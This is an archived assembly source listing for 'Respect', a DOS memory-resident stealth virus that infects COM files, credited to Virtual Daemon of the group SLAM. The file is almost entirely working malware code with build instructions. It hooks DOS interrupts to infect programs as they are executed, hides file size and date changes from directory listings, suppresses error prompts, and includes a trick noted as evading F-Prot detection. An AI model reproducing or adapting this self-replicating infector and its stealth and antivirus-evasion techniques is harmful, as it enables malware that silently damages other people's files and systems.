home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VIRDCOLL.ZIP / RESPECT.ZIP / RESPECT.ASM next >
Encoding:
Assembly Source File  |  1997-07-26  |  9.6 KB  |  354 lines

  1. ; Virus Name: Respect
  2. ; Virus Author: Virtual Daemon
  3. ; Group: SLAM
  4. ; Virus Type: TSR stealth COM infector
  5. ; Virus Size: 624 bytes
  6. ; Virus created on 14 January 1997 (dunno what time but I think it was
  7. ;                   morning... maybe at 3-4 am... ;)))
  8. ;
  9. ; Comments: -infection on 4bh (=execute)
  10. ;           -stealth on 11h/12h (FCB) and 4eh/4fh (DTA)
  11. ;           -intercept 5700h for more "stealthness" ;)))
  12. ;           -INT 24h handler (for errors)
  13. ;           -restore original file date/time/attributes
  14. ;           -no payload, no encryption... :( just for learning basic stealth!
  15. ; To compile use: TASM respect.asm 
  16. ;                 TLINK respect.obj
  17. ;                 EXE2BIN respect.exe respect.com
  18. ;                 DEL respect.exe  \
  19. ;                 DEL respect.obj   => delete un-necessary files
  20. ;                 DEL respect.map  /
  21. .model tiny
  22. .code
  23.    org 0
  24. begin:
  25.    call start
  26. start:
  27.    pop bp
  28.    sub bp,offset start
  29.  
  30.    push ds
  31.    push es
  32.  
  33.    mov ax,'=-'                  ;check if the virus is already installed
  34.    int 21h
  35.    cmp cx,'-='
  36.    je complete
  37.  
  38.    mov ah,4ah                   ;get largest block available
  39.    mov bx,0ffffh
  40.    int 21h
  41.  
  42.    sub bx,(endheap-begin+15)/16+1       ;substract from it our virus
  43.    mov ah,4ah
  44.    int 21h
  45.    jc complete
  46.    sub word ptr ds:[2],(endheap-begin+15)/16+1
  47.  
  48.    mov ah,48h                   ;allocate memory for the virus
  49.    mov bx,(endheap-begin+15)/16
  50.    int 21h
  51.    jc complete
  52.  
  53.    mov es,ax
  54.    dec ax
  55.    mov ds,ax
  56.  
  57.    mov byte ptr ds:[0],'Z'      ;mark the MCB
  58.    mov ax,8                     ;F-Prot will no longer detect a new Chill
  59.    mov word ptr ds:[1],ax    ;variant....
  60.  
  61.    push cs
  62.    pop ds
  63.    xor di,di
  64.    mov cx,(heap-begin)/2+1
  65.    mov si,bp
  66.    rep movsw                    ;load the virus in memory
  67.  
  68.    xor ax,ax
  69.    mov ds,ax
  70.    push ds
  71.    lds ax,ds:[21h*4]            ;save old INT 21h interrupt vector
  72.    mov word ptr es:oldint21,ax
  73.    mov word ptr es:oldint21+2,ds
  74.    pop ds
  75.    mov word ptr ds:[21h*4],offset int21 ;set our INT 21h handler
  76.    mov ds:[21h*4+2],es
  77. complete:
  78.    pop es
  79.    pop ds
  80.    lea si,[bp+offset jmpbuf]    ;restore saved bytes
  81.    mov di,100h
  82.    push di
  83.    movsw
  84.    movsb
  85.    retn                         ;return to host
  86. jmpbuf   db 0cdh,20h,0
  87.  
  88.  
  89. ; our INT 24h handler
  90. int24:
  91.    mov al,3h                    ;don't display errors
  92.    iret
  93.  
  94. ; the INT 21h handler
  95. int21:
  96.    cmp ax,'=-'
  97.    jne continue
  98.    mov cx,'-='
  99.    iret
  100. continue:
  101.    cmp ah,4bh
  102.    jne next
  103.    jmp infect
  104. next:
  105.    cmp ah,11h
  106.    je FCB_stealth
  107.    cmp ah,12h
  108.    je FCB_stealth
  109.    cmp ah,4eh
  110.    je DTA_stealth
  111.    cmp ah,4fh
  112.    je DTA_stealth
  113.    cmp ax,5700h
  114.    jne exithandler
  115.    jmp time_stealth
  116. exithandler:
  117.    db 0eah
  118. oldint21   dd ?
  119.  
  120. ; The FCB stealth method = hides infected file(s) from DIR
  121. FCB_stealth:
  122.    pushf
  123.    push cs
  124.    call exithandler             ;fake a int 21h call
  125.                                 ;on return ds:dx will point to unopened FCB
  126.    or al,0                      ;check if the dir call was sucessfull...
  127.                                 ;al=0 => no errors
  128.    jnz skip_dir                 ;if error then return to original 11h/12h
  129.    push ax bx es                ;save ax,bx and es registers
  130.  
  131.    mov ah,51h                   ;DOS function=get current PSP to es:bx
  132.    int 21h
  133.    mov es,bx
  134.    cmp bx,es:[16h]              ;is the PSP ok? we must check if it's a DIR
  135.    jnz error                    ; call and not other programs
  136.  
  137.    mov bx,dx                    ;get offset to unopened FCB in bx
  138.    mov al,[bx]                  ;al holds current drive
  139.    push ax                      ;extended FCB=FFh
  140.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  141.    int 21h
  142.  
  143.    pop ax                       ;restore ax (can be 0 or FFh)
  144.    inc al                       ;if the FCB is extended then FFh+1=0
  145.                                 ;if not then 0 + 1 = 1 <> 0
  146.    jnz no_ext                   ;not EXTENDED? Proceed then... ;)
  147.    add bx,7                     ;if EXTENDED then bx:=bx+7
  148.                                 ;EXTENDED FCB's have some extra bytes so we
  149.                                 ; must skip those bytes
  150. no_ext:
  151.    cmp word ptr es:[bx+1fh],0   ;is > 65k?
  152.    jnz error                    ;guess so... ;( gotta go then!
  153.    mov ax,es:[bx+19h]           ;get datestamp in ax
  154.    cmp ah,100                   ;if ah is greater then 100 then the file
  155.                                 ; is infected with our virus
  156.    jb error                     ;if not then get out of here!
  157.  
  158.    ror ah,1                     ;rotate to right
  159.    sub ah,100                   ;years=years-100 => the original file's year
  160.    rol ah,1                     ;rotate to left
  161.    mov es:[bx+19h],ax           ;restore the original year in memory
  162.  
  163.    sub word ptr es:[bx+1dh],(heap-begin) ;substract our virus size
  164. error:
  165.    pop es bx ax                 ;restore registers es, bx and ax
  166. skip_dir:
  167.    retf 2                       ;return far
  168.  
  169. ; The file handle stealth method = hides infected file(s) from progs like NC
  170. DTA_stealth:
  171.    pushf
  172.    push cs
  173.    call exithandler             ;fake a int 21h call
  174.    jc no_files                  ;the 4eh/4fh functions automaticaly
  175.                                 ; set up the carry flag on error
  176.  
  177.    pushf                        ;push the flags bcox they will be destroyed
  178.                                 ; by the int call
  179.    push ax di es bx             ;save ax,di,es and bx registers
  180.  
  181.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  182.    int 21h
  183.  
  184.    mov ax,es:[bx+18h]           ;get datestamp
  185.    cmp ah,100                   ;check if above 100
  186.    jb not_inf                   ;if not return
  187.  
  188.    cmp word ptr es:[bx+1ah],(heap-begin) ;check if the file is too small
  189.    ja hide                      ;if not too small go and stealth it
  190.    cmp word ptr es:[bx+1Ch],0   ;check if too large
  191.    je not_inf
  192. hide:
  193.    ror ah,1
  194.    sub ah,100                   ;get the original file's year back
  195.    rol ah,1
  196.    mov es:[bx+18h],ax           ;put the original year in memory
  197.  
  198.    sub word ptr es:[bx+1ah],(heap-begin)  ; hide file size
  199. not_inf:
  200.    pop bx es di ax              ;restore bx,es,di and ax registers
  201.    popf                         ;restore flags
  202. no_files:
  203.    retf 2                       ;return far
  204.  
  205. ; The time stealth method = hides infected file(s)'s time/date from being seen
  206. time_stealth:
  207.    pushf
  208.    call dword ptr cs:[oldint21] ;fake a int 21h call
  209.    jc shit                      ;if error then return
  210.    cmp dh,100                   ;check if years > 100
  211.    jb no_way                    ;if not then return
  212.    ror dh,1                     ;\
  213.    sub dh,100                   ; "adjust" the file's year :-)
  214.    rol dh,1                     ;/
  215. no_way:
  216.    iret                         ;return
  217. shit:
  218.    retf 2                       ;return far
  219.  
  220.  
  221. infect:
  222.    pushf
  223.    push ax bx cx dx si di bp ds es
  224.    push ds
  225.    push dx
  226.  
  227.    mov ax,3524h                 ;get old INT 24h handler
  228.    int 21h
  229.    mov word ptr cs:[old_int24],bx
  230.    mov word ptr cs:[old_int24+2],es
  231.  
  232.    push cs
  233.    pop ds
  234.    lea dx,int24                 ;set our INT 24h handler
  235.    mov ax,2524h
  236.    int 21h
  237.  
  238.    pop dx
  239.    pop ds
  240.    mov ax,4300h                 ;get file attributes
  241.    int 21h
  242.    push ds
  243.    push dx
  244.    push cx
  245.  
  246.    mov ax,4301h                 ;set new attributes (archive only)
  247.    xor cx,cx
  248.    int 21h
  249.  
  250.    mov ax,3d02h                 ;open the file for reading and writting
  251.    pushf
  252.    push cs
  253.    call exithandler
  254.    xchg ax,bx
  255.  
  256.  
  257.    mov ax,5700h                 ;get file's date/time
  258.    pushf
  259.    call dword ptr cs:[oldint21]
  260.    mov word ptr cs:[file_time],cx
  261.    mov word ptr cs:[file_date],dx
  262.  
  263.    push cs
  264.    pop ds
  265.    push cs
  266.    pop es
  267.  
  268.    mov ah,3fh                   ;read from file the first 3 bytes
  269.    lea dx,buffer                ;save them into our buffer
  270.    mov cx,3
  271.    int 21h
  272.  
  273.    mov ax,4202h                 ;go to EOF
  274.    xor cx,cx
  275.    cwd
  276.    int 21h
  277.  
  278.    mov word ptr file_size,ax
  279.    mov word ptr file_size+2,dx
  280.  
  281.    cmp word ptr buffer,'MZ'     ;check if EXE
  282.    je close_file
  283.    cmp word ptr buffer,'ZM'
  284.    je close_file
  285.  
  286.    mov ax,word ptr file_size    ;check if too big
  287.    cmp ax,65535-(endheap-begin)
  288.    ja close_file
  289.  
  290.    mov cx,word ptr buffer+1     ;check if already infected
  291.    add cx,heap-begin+3
  292.    cmp ax,cx
  293.    je close_file
  294.  
  295.    mov di,offset jmpbuf         ;prepare new JMP
  296.    mov si,offset buffer
  297.    movsb
  298.    movsw
  299.    mov byte ptr [offset buffer],0e9h
  300.    sub ax,3
  301.    mov word ptr [offset buffer+1],ax
  302.  
  303.    mov ah,40h                   ;write the virus to file
  304.    lea dx,begin
  305.    mov cx,heap-begin
  306.    int 21h
  307.  
  308.    mov ax,4200h                 ;go to BOF
  309.    xor cx,cx
  310.    cwd
  311.    int 21h
  312.  
  313.    mov ah,40h                   ;write the new JMP
  314.    lea dx,buffer
  315.    mov cx,3
  316.    int 21h
  317.  
  318.    mov ax,5701h                 ;set old file's time/date
  319.    mov cx,word ptr cs:[file_time]
  320.    mov dx,word ptr cs:[file_date]
  321.    ror dh,1                     ;mark the file for steath
  322.    add dh,100
  323.    rol dh,1
  324.    int 21h
  325. close_file:
  326.    mov ah,3eh                   ;close the file
  327.    int 21h
  328.  
  329.    mov ax,4301h                 ;set old attributes
  330.    pop cx
  331.    pop dx
  332.    pop ds
  333.    int 21h
  334.  
  335.    mov ds,word ptr cs:[old_int24+2]
  336.    mov dx,word ptr cs:[old_int24]
  337.    mov ax,2524h                 ;set old INT 24h handler
  338.    int 21h
  339. exit:
  340.    pop es ds bp di si dx cx bx ax
  341.    popf
  342.    jmp exithandler
  343.  
  344. old_int24   dd ?
  345. virus_name  db 'Respect'
  346. signature   db '[VD/SLAM]'
  347. heap:
  348. file_size   dd ?
  349. file_time   dw ?
  350. file_date   dw ?
  351. buffer   db 3 dup (?)
  352. endheap:
  353. end begin
  354.